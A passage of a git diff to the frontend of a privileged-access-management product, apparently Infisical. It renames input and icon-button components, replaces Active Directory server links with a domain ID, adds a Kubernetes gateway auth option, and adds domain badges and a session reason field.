-  UnstableIconButton,
-  UnstableInput
+  SelectValue
 } from "@app/components/v3";
 
 const formatIntervalDays = (seconds: number) => {
@@ -103,7 +103,7 @@ export const RotationRuleCard = ({
         <Field>
           <FieldLabel>Rule Name</FieldLabel>
           <FieldContent>
-            <UnstableInput
+            <Input
               value={localName}
               onChange={(e) => setLocalName(e.target.value)}
               onBlur={handleNameBlur}
@@ -115,7 +115,7 @@ export const RotationRuleCard = ({
           <Field className="flex-1">
             <FieldLabel>Account Name Pattern</FieldLabel>
             <FieldContent>
-              <UnstableInput
+              <Input
                 value={localPattern}
                 onChange={(e) => setLocalPattern(e.target.value)}
                 onBlur={handlePatternBlur}
@@ -128,7 +128,7 @@ export const RotationRuleCard = ({
             <Field className="w-40">
               <FieldLabel>Interval (days)</FieldLabel>
               <FieldContent>
-                <UnstableInput
+                <Input
                   value={localInterval}
                   onChange={(e) => setLocalInterval(e.target.value)}
                   onBlur={handleIntervalBlur}
@@ -140,20 +140,20 @@ export const RotationRuleCard = ({
       </div>
 
       <div className="flex flex-col items-center justify-center gap-1">
-        <UnstableIconButton variant="ghost" size="xs" onClick={onDelete}>
+        <IconButton variant="ghost" size="xs" onClick={onDelete}>
           <TrashIcon className="text-danger" />
-        </UnstableIconButton>
-        <UnstableIconButton variant="ghost" size="xs" onClick={onMoveUp} isDisabled={index === 0}>
+        </IconButton>
+        <IconButton variant="ghost" size="xs" onClick={onMoveUp} isDisabled={index === 0}>
           <ArrowUpIcon />
-        </UnstableIconButton>
-        <UnstableIconButton
+        </IconButton>
+        <IconButton
           variant="ghost"
           size="xs"
           onClick={onMoveDown}
           isDisabled={index >= totalRules - 1}
         >
           <ArrowDownIcon />
-        </UnstableIconButton>
+        </IconButton>
       </div>
     </div>
   );
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/WinrmConfigSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/WinrmConfigSection.tsx
index 5d5ff08570b..37630158d98 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/WinrmConfigSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/WinrmConfigSection.tsx
@@ -4,13 +4,13 @@ import {
   Field,
   FieldContent,
   FieldLabel,
+  Input,
   Label,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 
 type Props = {
@@ -60,7 +60,7 @@ export const WinrmConfigSection = ({
           </Tooltip>
         </FieldLabel>
         <FieldContent>
-          <UnstableInput
+          <Input
             type="number"
             value={winrmPort}
             onChange={(e) => onWinrmPortChange(Number(e.target.value))}
@@ -122,7 +122,7 @@ export const WinrmConfigSection = ({
           </Tooltip>
         </FieldLabel>
         <FieldContent>
-          <UnstableInput
+          <Input
             value={winrmTlsServerName}
             onChange={(e) => onWinrmTlsServerNameChange(e.target.value)}
             placeholder="server.corp.example.com"
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/route.tsx b/frontend/src/pages/pam/PamResourceByIDPage/route.tsx
index 35b8af2e4b1..2b964d9b715 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/route.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/route.tsx
@@ -6,8 +6,7 @@ import { PamResourceByIDPage } from "./PamResourceByIDPage";
 
 export enum ResourceDetailTab {
   Accounts = "accounts",
-  Dependencies = "dependencies",
-  RelatedResources = "related-resources"
+  Dependencies = "dependencies"
 }
 
 const ResourceDetailSearchSchema = z.object({
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceCard.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceCard.tsx
index 81b8534770e..647fdc4ee54 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceCard.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceCard.tsx
@@ -12,10 +12,11 @@ import {
   DropdownMenuTrigger
 } from "@app/components/v2";
 import { HighlightText } from "@app/components/v2/HighlightText";
-import { Badge, UnstableIconButton } from "@app/components/v3";
+import { Badge, IconButton } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useOrganization } from "@app/context";
 import { useToggle } from "@app/hooks";
 import { PAM_RESOURCE_TYPE_MAP, TPamResource } from "@app/hooks/api/pam";
+import { PamDomainType, useGetPamDomainById } from "@app/hooks/api/pamDomain";
 
 type Props = {
   resource: TPamResource;
@@ -38,6 +39,12 @@ export const PamResourceCard = ({
   const { id, name, resourceType, projectId } = resource;
   const { image, name: resourceTypeName } = PAM_RESOURCE_TYPE_MAP[resourceType];
 
+  const { data: domain } = useGetPamDomainById(
+    PamDomainType.ActiveDirectory,
+    resource.domainId || undefined,
+    { enabled: !!resource.domainId }
+  );
+
   const [isIdCopied, setIsIdCopied] = useToggle(false);
 
   const handleCopyId = () => {
@@ -86,7 +93,7 @@ export const PamResourceCard = ({
               <HighlightText text={name} highlight={search} />
             </p>
             <div className="flex items-center gap-0.5">
-              <UnstableIconButton
+              <IconButton
                 size="xs"
                 variant="ghost"
                 onClick={(e) => {
@@ -99,16 +106,12 @@ export const PamResourceCard = ({
                   fill={resource.isFavorite ? "currentColor" : "none"}
                   size={14}
                 />
-              </UnstableIconButton>
+              </IconButton>
               <DropdownMenu>
                 <DropdownMenuTrigger asChild>
-                  <UnstableIconButton
-                    size="xs"
-                    variant="ghost"
-                    onClick={(e) => e.stopPropagation()}
-                  >
+                  <IconButton size="xs" variant="ghost" onClick={(e) => e.stopPropagation()}>
                     <EllipsisIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </DropdownMenuTrigger>
                 <DropdownMenuContent sideOffset={2} align="end">
                   <DropdownMenuItem
@@ -158,9 +161,10 @@ export const PamResourceCard = ({
               </DropdownMenu>
             </div>
           </div>
-          <Badge variant="neutral" className="mt-1">
-            {resourceTypeName}
-          </Badge>
+          <div className="mt-1 flex items-center gap-1.5">
+            <Badge variant="neutral">{resourceTypeName}</Badge>
+            {domain && <Badge variant="info">{domain.connectionDetails.domain}</Badge>}
+          </div>
         </div>
       </div>
     </div>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/AwsIamResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/AwsIamResourceForm.tsx
index b0c3b268919..fc526f900f3 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/AwsIamResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/AwsIamResourceForm.tsx
@@ -12,8 +12,8 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
-  SheetFooter,
-  UnstableInput
+  Input,
+  SheetFooter
 } from "@app/components/v3";
 import { useProject } from "@app/context";
 import { PamResourceType, TAwsIamResource } from "@app/hooks/api/pam";
@@ -114,7 +114,7 @@ export const AwsIamResourceForm = ({ resource, onSubmit, closeSheet }: Props) =>
               <Field>
                 <FieldLabel>Name</FieldLabel>
                 <FieldContent>
-                  <UnstableInput
+                  <Input
                     autoFocus
                     placeholder="my-aws-console"
                     {...field}
@@ -134,7 +134,7 @@ export const AwsIamResourceForm = ({ resource, onSubmit, closeSheet }: Props) =>
               <Field>
                 <FieldLabel>Resource Role ARN</FieldLabel>
                 <FieldContent>
-                  <UnstableInput
+                  <Input
                     placeholder="arn:aws:iam::123456789012:role/InfisicalResourceRole"
                     {...field}
                     isError={Boolean(error)}
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/GenericResourceFields.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/GenericResourceFields.tsx
index dcef99f51a4..5895b820d07 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/GenericResourceFields.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/GenericResourceFields.tsx
@@ -8,7 +8,7 @@ import {
   FieldError,
   FieldLabel,
   FilterableSelect,
-  UnstableInput
+  Input
 } from "@app/components/v3";
 import { gatewaysQueryKeys } from "@app/hooks/api";
 import { slugSchema } from "@app/lib/schemas";
@@ -51,12 +51,7 @@ export const GenericResourceFields = () => {
           <Field>
             <FieldLabel>Name</FieldLabel>
             <FieldContent>
-              <UnstableInput
-                {...field}
-                autoFocus
-                isError={Boolean(error)}
-                placeholder="my-resource"
-              />
+              <Input {...field} autoFocus isError={Boolean(error)} placeholder="my-resource" />
               <FieldError errors={[error]} />
             </FieldContent>
           </Field>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/KubernetesResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/KubernetesResourceForm.tsx
index 6436be12656..934dcaf6802 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/KubernetesResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/KubernetesResourceForm.tsx
@@ -26,10 +26,22 @@ const KubernetesServiceAccountTokenCredentialsSchema = z.object({
   serviceAccountToken: z.string().trim().max(10000)
 });
 
+const KubernetesGatewayAuthCredentialsSchema = z.object({
+  authMethod: z.literal(KubernetesAuthMethod.GatewayKubernetesAuth),
+  namespace: z.string().trim().min(1).max(63),
+  serviceAccountName: z.string().trim().min(1).max(253)
+});
+
 const formSchema = genericResourceFieldsSchema.extend({
   resourceType: z.literal(PamResourceType.Kubernetes),
   connectionDetails: KubernetesConnectionDetailsSchema,
-  rotationAccountCredentials: KubernetesServiceAccountTokenCredentialsSchema.nullable().optional()
+  rotationAccountCredentials: z
+    .discriminatedUnion("authMethod", [
+      KubernetesServiceAccountTokenCredentialsSchema,
+      KubernetesGatewayAuthCredentialsSchema
+    ])
+    .nullable()
+    .optional()
 });
 
 type FormData = z.infer<typeof formSchema>;
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/MongoDBResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/MongoDBResourceForm.tsx
index 717e11e3278..78d6960b467 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/MongoDBResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/MongoDBResourceForm.tsx
@@ -9,14 +9,14 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { PamResourceType, TMongoDBResource } from "@app/hooks/api/pam";
 
@@ -156,7 +156,7 @@ export const MongoDBResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       placeholder="mongodb+srv://cluster0.abc.mongodb.net"
                       isError={Boolean(error)}
@@ -173,7 +173,7 @@ export const MongoDBResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                 <Field>
                   <FieldLabel>Database Name</FieldLabel>
                   <FieldContent>
-                    <UnstableInput {...field} isError={Boolean(error)} />
+                    <Input {...field} isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/PamResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/PamResourceForm.tsx
index efca8f24be9..7d84cbe1bb9 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/PamResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/PamResourceForm.tsx
@@ -9,7 +9,6 @@ import {
 import { DiscriminativePick } from "@app/types";
 
 import { PamResourceHeader } from "../PamResourceHeader";
-import { ActiveDirectoryResourceForm } from "./ActiveDirectoryResourceForm";
 import { AwsIamResourceForm } from "./AwsIamResourceForm";
 import { KubernetesResourceForm } from "./KubernetesResourceForm";
 import { MongoDBResourceForm } from "./MongoDBResourceForm";
@@ -40,7 +39,7 @@ const CreateForm = ({ resourceType, closeSheet, projectId }: CreateFormProps) =>
   const onSubmit = async (
     formData: DiscriminativePick<
       TPamResource,
-      "name" | "resourceType" | "connectionDetails" | "adServerResourceId"
+      "name" | "resourceType" | "connectionDetails" | "domainId"
     > & {
       gateway?: { id: string; name: string } | null;
       gatewayId?: string;
@@ -79,8 +78,6 @@ const CreateForm = ({ resourceType, closeSheet, projectId }: CreateFormProps) =>
       return <AwsIamResourceForm onSubmit={onSubmit} closeSheet={closeSheet} />;
     case PamResourceType.Windows:
       return <WindowsResourceForm onSubmit={onSubmit} closeSheet={closeSheet} />;
-    case PamResourceType.ActiveDirectory:
-      return <ActiveDirectoryResourceForm onSubmit={onSubmit} closeSheet={closeSheet} />;
     default:
       throw new Error(`Unhandled resource: ${resourceType}`);
   }
@@ -93,7 +90,7 @@ const UpdateForm = ({ resource, closeSheet }: UpdateFormProps) => {
   const onSubmit = async (
     formData: DiscriminativePick<
       TPamResource,
-      "name" | "resourceType" | "connectionDetails" | "adServerResourceId"
+      "name" | "resourceType" | "connectionDetails" | "domainId"
     > & {
       gateway?: { id: string; name: string } | null;
       gatewayId?: string;
@@ -140,14 +137,6 @@ const UpdateForm = ({ resource, closeSheet }: UpdateFormProps) => {
       return (
         <WindowsResourceForm resource={resource} onSubmit={onSubmit} closeSheet={closeSheet} />
       );
-    case PamResourceType.ActiveDirectory:
-      return (
-        <ActiveDirectoryResourceForm
-          resource={resource}
-          onSubmit={onSubmit}
-          closeSheet={closeSheet}
-        />
-      );
     default:
       throw new Error(`Unhandled resource: ${(resource as any).resourceType}`);
   }
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/RedisResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/RedisResourceForm.tsx
index b36ee32bfca..4146eb85789 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/RedisResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/RedisResourceForm.tsx
@@ -9,14 +9,14 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { PamResourceType, TRedisResource } from "@app/hooks/api/pam";
 
@@ -95,7 +95,7 @@ export const RedisResourceForm = ({ resource, onSubmit, closeSheet }: Props) =>
                   <Field>
                     <FieldLabel>Host</FieldLabel>
                     <FieldContent>
-                      <UnstableInput {...field} isError={Boolean(error)} />
+                      <Input {...field} isError={Boolean(error)} />
                       <FieldError errors={[error]} />
                     </FieldContent>
                   </Field>
@@ -108,7 +108,7 @@ export const RedisResourceForm = ({ resource, onSubmit, closeSheet }: Props) =>
                   <Field className="w-24">
                     <FieldLabel>Port</FieldLabel>
                     <FieldContent>
-                      <UnstableInput type="number" {...field} isError={Boolean(error)} />
+                      <Input type="number" {...field} isError={Boolean(error)} />
                       <FieldError errors={[error]} />
                     </FieldContent>
                   </Field>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/SSHResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/SSHResourceForm.tsx
index ed47748ce0f..f1da2e4d85d 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/SSHResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/SSHResourceForm.tsx
@@ -8,8 +8,8 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
-  SheetFooter,
-  UnstableInput
+  Input,
+  SheetFooter
 } from "@app/components/v3";
 import { PamResourceType, TSSHResource } from "@app/hooks/api/pam";
 
@@ -77,7 +77,7 @@ export const SSHResourceForm = ({ resource, onSubmit, closeSheet }: Props) => {
                 <Field className="flex-1">
                   <FieldLabel>Host</FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       isError={Boolean(error)}
                       placeholder="example.com or 192.168.1.1"
@@ -94,7 +94,7 @@ export const SSHResourceForm = ({ resource, onSubmit, closeSheet }: Props) => {
                 <Field className="w-28">
                   <FieldLabel>Port</FieldLabel>
                   <FieldContent>
-                    <UnstableInput type="number" {...field} isError={Boolean(error)} />
+                    <Input type="number" {...field} isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/WindowsResourceForm.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/WindowsResourceForm.tsx
index f6f1249d2c4..44627b1209d 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/WindowsResourceForm.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/WindowsResourceForm.tsx
@@ -9,22 +9,16 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
-  Select,
-  SelectContent,
-  SelectItem,
-  SelectTrigger,
-  SelectValue,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
-import { useProject } from "@app/context";
-import { PamResourceType, TWindowsResource, useListPamResources } from "@app/hooks/api/pam";
+import { PamResourceType, TWindowsResource } from "@app/hooks/api/pam";
 import { WindowsProtocol } from "@app/hooks/api/pam/types/windows-server-resource";
 
 import { GenericResourceFields, genericResourceFieldsSchema } from "./GenericResourceFields";
@@ -56,19 +50,13 @@ const formSchema = genericResourceFieldsSchema.extend({
       .transform((val) => val || undefined)
       .optional()
   }),
-  adServerResourceId: z.string().uuid().nullable().optional()
+  domainId: z.string().uuid().nullable().optional()
 });
 
 type FormData = z.infer<typeof formSchema>;
 
 export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) => {
   const isUpdate = Boolean(resource);
-  const { projectId } = useProject();
-
-  const { data: adResources, isPending: isAdResourcesLoading } = useListPamResources({
-    projectId,
-    filterResourceTypes: PamResourceType.ActiveDirectory
-  });
 
   const form = useForm<FormData>({
     resolver: zodResolver(formSchema),
@@ -76,7 +64,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
       ? {
           ...resource,
           gateway: resource.gatewayId ? { id: resource.gatewayId, name: "" } : undefined,
-          adServerResourceId: resource.adServerResourceId ?? null,
+          domainId: resource.domainId ?? null,
           connectionDetails: {
             ...(resource.connectionDetails as FormData["connectionDetails"]),
             winrmPort: (resource.connectionDetails as any).winrmPort ?? 5986,
@@ -100,7 +88,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
             winrmCaCert: "",
             winrmTlsServerName: ""
           },
-          adServerResourceId: null
+          domainId: null
         }
   });
 
@@ -124,37 +112,6 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
       >
         <div className="flex min-h-0 flex-1 shrink flex-col gap-4 overflow-y-auto p-4 pb-8">
           <GenericResourceFields />
-          <Controller
-            control={control}
-            name="adServerResourceId"
-            render={({ field: { value, onChange }, fieldState: { error } }) => (
-              <Field>
-                <FieldLabel>Active Directory Resource</FieldLabel>
-                <FieldContent>
-                  <Select
-                    value={value || "none"}
-                    onValueChange={(val) => onChange(val === "none" ? null : val)}
-                  >
-                    <SelectTrigger className="w-full">
-                      <SelectValue placeholder={isAdResourcesLoading ? "Loading..." : "None"} />
-                    </SelectTrigger>
-                    <SelectContent position="popper" align="start">
-                      <SelectItem value="none">None</SelectItem>
-                      {(adResources?.resources || []).map((adResource) => (
-                        <SelectItem value={adResource.id} key={adResource.id}>
-                          {adResource.name}
-                        </SelectItem>
-                      ))}
-                    </SelectContent>
-                  </Select>
-                  <p className="text-xs text-muted">
-                    Optionally associate this server with an AD domain
-                  </p>
-                  <FieldError errors={[error]} />
-                </FieldContent>
-              </Field>
-            )}
-          />
 
           {/* RDP Connection */}
           <div className="flex items-start gap-2">
@@ -165,7 +122,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                 <Field className="flex-1">
                   <FieldLabel>Hostname</FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       isError={Boolean(error)}
                       placeholder="example.com or 192.168.1.1"
@@ -182,7 +139,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                 <Field className="w-28">
                   <FieldLabel>Port</FieldLabel>
                   <FieldContent>
-                    <UnstableInput type="number" {...field} isError={Boolean(error)} />
+                    <Input type="number" {...field} isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
@@ -211,12 +168,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
-                      {...field}
-                      type="number"
-                      placeholder="5986"
-                      isError={Boolean(error)}
-                    />
+                    <Input {...field} type="number" placeholder="5986" isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
@@ -304,7 +256,7 @@ export const WindowsResourceForm = ({ resource, onSubmit, closeSheet }: Props) =
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       placeholder="server.corp.example.com"
                       disabled={!useWinrmHttps || !winrmRejectUnauthorized}
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/KubernetesResourceFields.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/KubernetesResourceFields.tsx
index f1b19643a39..b92939adc80 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/KubernetesResourceFields.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/KubernetesResourceFields.tsx
@@ -6,13 +6,13 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 
 export const KubernetesResourceFields = () => {
@@ -29,7 +29,7 @@ export const KubernetesResourceFields = () => {
           <Field>
             <FieldLabel>Kubernetes API URL</FieldLabel>
             <FieldContent>
-              <UnstableInput
+              <Input
                 {...field}
                 isError={Boolean(error)}
                 placeholder="https://kubernetes.example.com:6443"
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/SqlResourceFields.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/SqlResourceFields.tsx
index ed543a35858..92a24f9e02f 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/SqlResourceFields.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/shared/SqlResourceFields.tsx
@@ -6,13 +6,13 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 
 export const SqlResourceFields = () => {
@@ -33,7 +33,7 @@ export const SqlResourceFields = () => {
               <Field>
                 <FieldLabel>Host</FieldLabel>
                 <FieldContent>
-                  <UnstableInput {...field} placeholder="db.example.com" isError={Boolean(error)} />
+                  <Input {...field} placeholder="db.example.com" isError={Boolean(error)} />
                   <FieldError errors={[error]} />
                 </FieldContent>
               </Field>
@@ -46,7 +46,7 @@ export const SqlResourceFields = () => {
               <Field>
                 <FieldLabel>Database Name</FieldLabel>
                 <FieldContent>
-                  <UnstableInput {...field} isError={Boolean(error)} />
+                  <Input {...field} isError={Boolean(error)} />
                   <FieldError errors={[error]} />
                 </FieldContent>
               </Field>
@@ -59,7 +59,7 @@ export const SqlResourceFields = () => {
               <Field className="w-24">
                 <FieldLabel>Port</FieldLabel>
                 <FieldContent>
-                  <UnstableInput type="number" {...field} isError={Boolean(error)} />
+                  <Input type="number" {...field} isError={Boolean(error)} />
                   <FieldError errors={[error]} />
                 </FieldContent>
               </Field>
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceHeader.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceHeader.tsx
index bc459db80cd..94b3a98ad19 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceHeader.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourceHeader.tsx
@@ -4,7 +4,6 @@ import { Button, DocumentationLinkBadge, Label } from "@app/components/v3";
 import { PAM_RESOURCE_TYPE_MAP, PamResourceType } from "@app/hooks/api/pam";
 
 const PAM_RESOURCE_DOCS_MAP: Partial<Record<PamResourceType, string>> = {
-  [PamResourceType.ActiveDirectory]: "active-directory#create-the-pam-resource",
   [PamResourceType.AwsIam]: "aws-iam#create-the-pam-resource",
   [PamResourceType.Kubernetes]: "kubernetes#create-the-pam-resource",
   [PamResourceType.MySQL]: "mysql#create-the-pam-resource",
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourcesTable.tsx b/frontend/src/pages/pam/PamResourcesPage/components/PamResourcesTable.tsx
index 5be6bab8a33..739cc99f2f9 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourcesTable.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/PamResourcesTable.tsx
@@ -142,19 +142,13 @@ export const PamResourcesTable = ({ projectId }: Props) => {
     setPendingResourceTypes([]);
   };
 
-  // TODO: Temporary - hide Active Directory and RDP from resource type filter
-  const TEMPORARILY_HIDDEN_RESOURCE_TYPES = new Set([
-    PamResourceType.ActiveDirectory,
-    PamResourceType.RDP
-  ]);
-
-  const resourceTypeOptions = Object.entries(PAM_RESOURCE_TYPE_MAP)
-    .filter(([type]) => !TEMPORARILY_HIDDEN_RESOURCE_TYPES.has(type as PamResourceType))
-    .map(([type, { name, image }]) => ({
+  const resourceTypeOptions = Object.entries(PAM_RESOURCE_TYPE_MAP).map(
+    ([type, { name, image }]) => ({
       value: type as PamResourceType,
       label: name,
       image
-    }));
+    })
+  );
 
   const isContentEmpty = !resources.length;
   const isSearchEmpty = isContentEmpty && (Boolean(search) || isTableFiltered);
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/ResourceTypeSelect.tsx b/frontend/src/pages/pam/PamResourcesPage/components/ResourceTypeSelect.tsx
index fc8ec6d17b5..f2d1fef604e 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/ResourceTypeSelect.tsx
+++ b/frontend/src/pages/pam/PamResourcesPage/components/ResourceTypeSelect.tsx
@@ -22,19 +22,12 @@ const COMING_SOON_RESOURCES = [
   { name: "DynamoDB", resource: PamResourceType.DynamoDB },
   { name: "Snowflake", resource: PamResourceType.Snowflake },
   { name: "Elasticsearch", resource: PamResourceType.Elasticsearch },
-  { name: "RDP", resource: PamResourceType.RDP },
   { name: "MCP", resource: PamResourceType.MCP },
   { name: "Web Application", resource: PamResourceType.WebApp }
 ];
 
 const COMING_SOON_SET = new Set(COMING_SOON_RESOURCES.map((r) => r.resource));
 
-// TODO: Temporary - hide Active Directory and RDP from resource selection
-const TEMPORARILY_HIDDEN_RESOURCES = new Set([
-  PamResourceType.ActiveDirectory,
-  PamResourceType.RDP
-]);
-
 export const ResourceTypeSelect = ({ onSelect }: Props) => {
   const { isPending, data: resourceOptions } = useListPamResourceOptions();
   const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp(["upgradePlan"] as const);
@@ -42,9 +35,9 @@ export const ResourceTypeSelect = ({ onSelect }: Props) => {
 
   const allOptions = useMemo(() => {
     if (!resourceOptions) return [];
-    return [...resourceOptions, ...COMING_SOON_RESOURCES]
-      .filter((option) => !TEMPORARILY_HIDDEN_RESOURCES.has(option.resource))
-      .sort((a, b) => a.name.localeCompare(b.name));
+    return [...resourceOptions, ...COMING_SOON_RESOURCES].sort((a, b) =>
+      a.name.localeCompare(b.name)
+    );
   }, [resourceOptions]);
 
   const filteredOptions = useMemo(() => {
diff --git a/frontend/src/pages/pam/PamSessionsByIDPage/PamSessionByIDPage.tsx b/frontend/src/pages/pam/PamSessionsByIDPage/PamSessionByIDPage.tsx
index f5506848d80..9022d70e242 100644
--- a/frontend/src/pages/pam/PamSessionsByIDPage/PamSessionByIDPage.tsx
+++ b/frontend/src/pages/pam/PamSessionsByIDPage/PamSessionByIDPage.tsx
@@ -59,7 +59,7 @@ const Page = () => {
 
   const isActive =
     session?.status === PamSessionStatus.Active || session?.status === PamSessionStatus.Starting;
-  const isGatewaySession = !!session?.gatewayIdentityId;
+  const isGatewaySession = !!session?.gatewayIdentityId || !!session?.gatewayId;
   return (
     <div className="mx-auto flex flex-col justify-between bg-bunker-800 text-white">
       {session && (
diff --git a/frontend/src/pages/pam/PamSessionsByIDPage/components/PamSessionDetailsSection.tsx b/frontend/src/pages/pam/PamSessionsByIDPage/components/PamSessionDetailsSection.tsx
index f53803ce863..d845ab12da0 100644
--- a/frontend/src/pages/pam/PamSessionsByIDPage/components/PamSessionDetailsSection.tsx
+++ b/frontend/src/pages/pam/PamSessionsByIDPage/components/PamSessionDetailsSection.tsx
@@ -34,7 +34,8 @@ export const PamSessionDetailsSection = ({
     actorIp,
     actorUserAgent,
     startedAt,
-    expiresAt
+    expiresAt,
+    reason
   }
 }: Props) => {
   const [copyTextId, isCopyingId, setCopyTextId] = useTimedReset<string>({
@@ -106,6 +107,12 @@ export const PamSessionDetailsSection = ({
           <p className="truncate">{actorUserAgent}</p>
         </DetailItem>
 
+        <DetailItem label="Reason">
+          <div className="max-h-32 overflow-y-auto">
